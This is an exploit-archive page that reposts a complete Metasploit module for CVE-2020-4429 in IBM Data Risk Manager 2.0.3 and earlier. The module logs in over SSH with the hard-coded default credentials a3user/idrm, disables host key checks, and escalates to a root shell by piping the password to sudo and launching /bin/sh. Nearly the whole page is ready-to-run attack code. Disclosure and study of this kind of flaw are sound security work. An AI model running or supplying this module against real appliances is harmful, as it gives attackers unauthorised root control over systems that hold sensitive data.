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IBM Data Risk Manager 2.0.3 Default Password

IBM Data Risk Manager 2.0.3 Default Password
Posted May 5, 2020
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module abuses a known default password in IBM Data Risk Manager. The a3user has the default password idrm and allows an attacker to log in to the virtual appliance via SSH. This can be escalate to full root access, as a3user has sudo access with the default password. At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too.

tags | exploit, root
advisories | CVE-2020-4429
SHA-256 | 93ca159b01584a7ade8620b17077cdc4619743113ed1b5b8a46d288369f9b00a

IBM Data Risk Manager 2.0.3 Default Password

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::SSH

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IBM Data Risk Manager a3user Default Password',
'Description' => %q{
This module abuses a known default password in IBM Data Risk Manager. The 'a3user'
has the default password 'idrm' and allows an attacker to log in to the virtual appliance
via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.
At the time of disclosure, this is a 0day. Versions <= 2.0.3 are confirmed to be
affected, and the latest 2.0.6 is most likely affected too.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2020-4429' ], # insecure default password
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ]
],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => '2020-04-21'
)
)

register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'Username to login with', 'a3user']),
OptString.new('PASSWORD', [true, 'Password to login with', 'idrm'])
]
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def on_new_session(client)
print_status("#{peer} - Escalating privileges to root, please wait a few seconds...")
# easiest way I found to get passwordless root, not sure if there's a shorter command
client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh")
print_good("#{peer} - Done, enjoy your root shell!")
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

def peer
"#{rhost}:#{rport}"
end

def do_login(user, pass)
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: pass,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}

opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh =
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} SSH - Connection error")
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")
rescue ::Timeout::Error
fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")
end

return Net::SSH::CommandStream.new(ssh) if ssh

nil
end

def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']

print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...")
conn = do_login(user, pass)
if conn
print_good("#{peer} - Login successful (#{user}:#{pass})")
handler(conn.lsock)
end
end
end
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